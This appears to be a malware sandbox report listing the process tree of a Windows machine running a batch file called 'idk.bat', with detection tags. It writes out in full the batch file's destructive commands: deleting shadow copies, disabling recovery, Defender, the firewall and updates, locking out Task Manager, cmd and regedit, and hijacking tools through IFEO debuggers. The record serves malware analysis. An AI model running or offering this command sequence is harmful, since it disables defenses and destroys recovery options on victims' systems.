  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4592,i,17861774200348228700,711109505159770159,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4572 /prefetch:8
  2⤵
  PID:1136
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4672,i,17861774200348228700,711109505159770159,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4684 /prefetch:8
  2⤵
  PID:4016
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4768,i,17861774200348228700,711109505159770159,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4920 /prefetch:8
  2⤵
  PID:3804
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4924,i,17861774200348228700,711109505159770159,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4756 /prefetch:8
  2⤵
  PID:2180
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=4692,i,17861774200348228700,711109505159770159,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4660 /prefetch:1
  2⤵
  PID:1980
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=5036,i,17861774200348228700,711109505159770159,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4404 /prefetch:8
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:3276

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2864

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\idk.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:2428

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\idk.bat" "
1⤵
PID:1080
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 1 /f
  2⤵
  PID:4080
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell" /v EnableScripts /t REG_DWORD /d 0 /f
  2⤵
  PID:332
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2736
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2920
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3788
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootmenupolicy Standard
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:716
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} advancedoptions No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1632
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:736
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4964
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3088
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} advancedoptions No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3876
- C:\Windows\system32\ReAgentc.exe
  reagentc /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:1520
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableWinRE /t REG_DWORD /d 1 /f
  2⤵
  PID:3560
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootmenupolicy Standard
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2136
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootmenupolicy legacy
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1472
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1552
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootmenupolicy legacy
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4016
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1040
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  2⤵
  PID:1728
- C:\Windows\system32\sc.exe
  sc config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:1360
- C:\Windows\system32\sc.exe
  sc stop vss
  2⤵
  - Launches sc.exe
  PID:1984
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2044
- C:\Windows\system32\diskpart.exe
  diskpart /s "C:\Users\Admin\Desktop\delete_recovery.txt"
  2⤵
  PID:1684
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableWinRE /t REG_DWORD /d 1 /f
  2⤵
  PID:1852
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
  2⤵
  - Modifies security service
  PID:3348
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
  2⤵
  PID:3696
- C:\Windows\system32\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:2184
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:2928
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskScheduler /t REG_DWORD /d 1 /f
  2⤵
  PID:2340
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2212
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootmenupolicy Standard
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3136
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  2⤵
  PID:4644
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  2⤵
  PID:3112
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  PID:1988
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSettingsPageVisibility /t REG_SZ /d "hide:" /f
  2⤵
  PID:4788
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSetFolders /t REG_DWORD /d 1 /f
  2⤵
  PID:2420
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:3936
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisallowRun /t REG_DWORD /d 1 /f
  2⤵
  - Blocks application from running via registry modification
  PID:2176
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\Installer" /v DisableMSI /t REG_DWORD /d 1 /f
  2⤵
  PID:3652
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\WindowsStore" /v RemoveWindowsStore /t REG_DWORD /d 1 /f
  2⤵
  PID:1308
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoNetworkConnections /t REG_DWORD /d 1 /f
  2⤵
  PID:4180
- C:\Windows\system32\net.exe
  net localgroup Administrators "Standard User" /delete
  2⤵
  - Indicator Removal: Network Share Connection Removal
  PID:3068
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators "Standard User" /delete
    3⤵
    - Indicator Removal: Network Share Connection Removal
    PID:432
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:4868
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFolderOptions /t REG_DWORD /d 1 /f
  2⤵
  PID:2716
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableGPEdit /t REG_DWORD /d 1 /f
  2⤵
  PID:916
- C:\Windows\system32\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:4916
- C:\Windows\system32\net.exe
  net stop wuauserv
  2⤵
  PID:644
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop wuauserv
    3⤵
    PID:1200
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  2⤵
  PID:1368
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3188
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:4492
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1668
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisablePasswordReset /t REG_DWORD /d 1 /f
  2⤵
  PID:4340
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\MRT" /v DontOfferThroughWUAU /t REG_DWORD /d 1 /f
  2⤵
  PID:3180
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
  2⤵
  PID:3940
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSFCDisable /t REG_DWORD /d 1 /f
  2⤵
  PID:4524
- C:\Windows\system32\reg.exe
  reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
  2⤵
  PID:3336
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Remote Assistance" /v fAllowToGetHelp /t REG_DWORD /d 0 /f
  2⤵
  PID:576
- C:\Windows\system32\ReAgentc.exe
  reagentc /disable
  2⤵
  - Drops file in Windows directory
  PID:876
- C:\Windows\system32\sc.exe
  sc config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:2820
- C:\Windows\system32\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  PID:2796
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:332
- C:\Windows\system32\sc.exe
  sc config Schedule start= disabled
  2⤵
  - Launches sc.exe
  PID:2200
- C:\Windows\system32\net.exe
  net stop Schedule
  2⤵
  PID:716
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop Schedule
    3⤵
    PID:1632
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootmenupolicy legacy
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:736
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4964
- C:\Windows\system32\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:3088
- C:\Windows\system32\net.exe
  net stop wuauserv
  2⤵
  PID:440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop wuauserv
    3⤵
    PID:976
- C:\Windows\system32\sc.exe
  sc config trustedinstaller start= disabled
  2⤵
  - Launches sc.exe
  PID:2352
- C:\Windows\system32\net.exe
  net stop trustedinstaller
  2⤵
  PID:1100
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop trustedinstaller
    3⤵
    PID:5104
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows Defender\Policy Manager" /v DisableAntiTamper /t REG_DWORD /d 1 /f
  2⤵
  PID:2596
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:1196
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\UsbHub" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:1564
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:3428
- C:\Windows\system32\sc.exe
  sc config winmgmt start= disabled
  2⤵
  - Launches sc.exe
  PID:2560
- C:\Windows\system32\net.exe
  net stop winmgmt
  2⤵
  PID:4504
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop winmgmt
    3⤵
    PID:1360
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableRollback /t REG_DWORD /d 1 /f
  2⤵
  PID:1684
- C:\Windows\system32\sc.exe
  sc config netprofm start= disabled
  2⤵
  - Launches sc.exe
  PID:1852
- C:\Windows\system32\net.exe
  net stop netprofm
  2⤵
  PID:3680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop netprofm
    3⤵
    PID:4880
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
  2⤵
  PID:2288
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoEventViewer /t REG_DWORD /d 1 /f
  2⤵
  PID:1388
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableChangeTime /t REG_DWORD /d 1 /f
  2⤵
  PID:3860
- C:\Windows\system32\reg.exe
  REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\MMC" /f
  2⤵
  PID:2444
- C:\Windows\system32\reg.exe
  REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\MMC" /v RestrictToPermittedSnapins /t REG_DWORD /d 1 /f
  2⤵
  PID:4928
- C:\Windows\system32\reg.exe
  REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\MMC\{58221C67-EA27-11CF-ADCF-00AA00A80033}" /v Restrict_Run /t REG_DWORD /d 1 /f
  2⤵
  PID:4372
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:2712
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 1 /f
  2⤵
  PID:1340
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  PID:696
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:3528
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWinKeys /t REG_DWORD /d 1 /f
  2⤵
  PID:4316
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell" /v EnableScripts /t REG_DWORD /d 0 /f
  2⤵
  PID:2160
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell" /v ExecutionPolicy /t REG_SZ /d "Restricted" /f
  2⤵
  PID:1232
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "cmd.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:4648
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\svchost.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:3344
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe" /v Debugger /t REG_SZ /d "cmd.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:4972
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:4616
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 1 /f
  2⤵
  PID:3676
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell" /v EnableScripts /t REG_DWORD /d 0 /f
  2⤵
  PID:3000
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell" /v ExecutionPolicy /t REG_SZ /d "Restricted" /f
  2⤵
  PID:916
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  PID:3584
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:644
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWinKeys /t REG_DWORD /d 1 /f
  2⤵
  PID:1368
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootmenupolicy Standard
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3708
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {default} safeboot
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3188
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4492
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} advancedoptions No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1668
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:4340
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3180
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3940
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4524
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3336
- C:\Windows\system32\net.exe
  net stop WinDefend
  2⤵
  PID:576
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop WinDefend
    3⤵
    PID:1404
- C:\Windows\system32\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:4820
- C:\Windows\system32\net.exe
  net stop wuauserv
  2⤵
  PID:540
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop wuauserv
    3⤵
    PID:2820
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
  2⤵
  PID:2920
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:8
- C:\Windows\system32\sc.exe
  sc config MpsSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:716
- C:\Windows\system32\net.exe
  net stop MpsSvc
  2⤵
  PID:3332
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MpsSvc
    3⤵
    PID:736
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:2592
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootstatuspolicy IgnoreAllFailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3876
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3380
- C:\Windows\system32\reg.exe
  reg delete "HKLM\Software\Policies\Microsoft\Windows NT\SystemRestore" /f
  2⤵
  PID:3972
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  2⤵
  PID:712
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
  2⤵
  PID:772
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:1136
- C:\Windows\system32\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  PID:2760
- C:\Windows\system32\net.exe
  net stop srservice
  2⤵
  PID:1564
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3428
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f
  2⤵
  PID:2560
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\System" /v ShellSmartScreenLevel /t REG_SZ /d "Off" /f
  2⤵
  PID:4320
- C:\Windows\system32\reg.exe
  reg add "HKLM\System\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:2320
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\Installer" /v DisableMSI /t REG_DWORD /d 2 /f
  2⤵
  PID:2252
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "cmd.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:3092
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\svchost.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:2996
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe" /v Debugger /t REG_SZ /d "cmd.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:3888
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe" /v Debugger /t REG_SZ /d "cmd.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:3848
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe" /v Debugger /t REG_SZ /d "cmd.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:3080
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  PID:1036
- C:\Windows\system32\gpupdate.exe
  gpupdate /force
  2⤵
  PID:3816

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2496

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:1636

C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.6.10571.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe
"C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.6.10571.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe"
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:952
- C:\Windows\system32\wsl.exe
  C:\Windows\system32\wsl.exe --list
  2⤵
  PID:3180
- C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.6.10571.0_x64__8wekyb3d8bbwe\OpenConsole.exe
  "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.6.10571.0_x64__8wekyb3d8bbwe\OpenConsole.exe" --headless --win32input --resizeQuirk --width 120 --height 27 --signal 0xa34 --server 0xa40
  2⤵
  PID:4020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:716
- - C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe cmd.exe "C:\Windows\system32\Taskmgr.exe"
    3⤵
    PID:1860
- - C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe "C:\Windows\system32\cmd.exe"
    3⤵
    PID:4888
- - C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe cmd.exe "C:\Windows\regedit.exe"
    3⤵
    PID:2996
- - C:\Windows\system32\control.exe
    "C:\Windows\system32\control.exe"
    3⤵
    PID:4420

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3160

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
1⤵
- Modifies registry class
PID:4740

C:\Windows\system32\control.exe
"C:\Windows\system32\control.exe" /name Microsoft.AdministrativeTools
1⤵
PID:576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:696

